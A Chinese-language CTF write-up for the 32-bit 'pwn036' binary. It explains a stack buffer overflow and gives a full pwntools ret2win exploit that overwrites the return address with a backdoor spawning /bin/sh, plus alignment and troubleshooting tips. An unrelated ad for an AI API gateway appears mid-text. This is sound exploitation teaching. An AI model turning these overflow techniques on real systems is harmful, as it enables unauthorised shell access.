1. 漏洞环境与目标分析
这个CTF题目提供了一个名为pwn036的32位ELF可执行文件,我们先通过checksec工具查看其安全防护机制:
bash复制checksec pwn036
输出结果通常显示:
- NX(不可执行栈):Enabled
- Canary(栈保护):Disabled
- PIE(地址随机化):Disabled
- RELRO(重定位保护):Partial
关键发现是:
- 没有栈保护(Canary)意味着可以直接覆盖返回地址
- 地址固定(No PIE)使我们可以硬编码函数地址
- 存在后门函数(通过IDA逆向可见)
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 逆向工程与漏洞定位
用IDA Pro打开二进制文件,观察到以下关键信息:
c复制void vulnerable_function() {
char buf[64];
read(0, buf, 256); // 明显的栈溢出漏洞
}
void backdoor() {
system("/bin/sh"); // 现成的后门函数
}
漏洞原理:
- buf数组长度64字节,read却允许读取256字节
- 32位架构下函数调用时,返回地址保存在栈上
- 通过溢出覆盖返回地址,可以劫持程序流
3. 利用链构造与偏移计算
我们需要精确计算填充长度:
- buf到ebp的距离:64字节缓冲区 + 4字节旧ebp = 68字节
- 再加上4字节覆盖返回地址,总共需要72字节垃圾数据
Payload结构:
code复制[68字节填充] + [backdoor函数地址]
获取backdoor地址的方法:
bash复制objdump -d pwn036 | grep backdoor
输出示例:
code复制0804856d <backdoor>:
4. 完整Exploit编写
使用pwntools的Python脚本示例:
python复制from pwn import *
context(arch='i386', os='linux')
p = process('./pwn036')
backdoor_addr = 0x0804856d
payload = b'A'*68 # 填充到返回地址前
payload += p32(backdoor_addr) # 覆盖返回地址
p.send(payload)
p.interactive()
关键点说明:
- p32()用于处理32位小端序地址转换
- 交互模式(p.interactive())在获取shell后保持连接
5. 实际利用中的问题排查
常见问题及解决方案:
-
栈对齐问题:
- 某些系统要求栈指针16字节对齐
- 解决方案:在payload后添加ret指令地址作为垫片
-
环境变量影响:
- 本地测试成功但远程失败
- 使用p = remote('host', port)替代process()
-
坏字符问题:
- 检查输入是否被过滤(如\x00)
- 使用cyclic模式定位崩溃点
改进后的健壮性payload:
python复制payload = flat({
68: [
0x0804835a, # ret指令地址用于对齐
backdoor_addr
]
})
6. 防御机制与绕过思路
虽然本题防护较弱,但了解防护措施很有必要:
-
NX绕过:
- 使用ROP链调用系统函数
- 本题不需要,因为直接有后门
-
ASLR绕过:
- 信息泄露获取地址
- 本题PIE未开启,地址固定
-
Stack Canary:
- 需要先泄露canary值
- 本题未启用该保护
7. 扩展练习建议
-
修改题目:
- 添加简单的canary保护
- 尝试泄露canary后利用
-
其他利用技术:
- 尝试ret2libc
- 构造ROP链调用execve
-
自动化工具:
- 使用ROPgadget寻找gadget
- pwntools的ROP模块实践
提示:在实际CTF比赛中,务必先检查文件属性(file命令)和保护机制(checksec),这些信息会直接影响利用方式的选择。
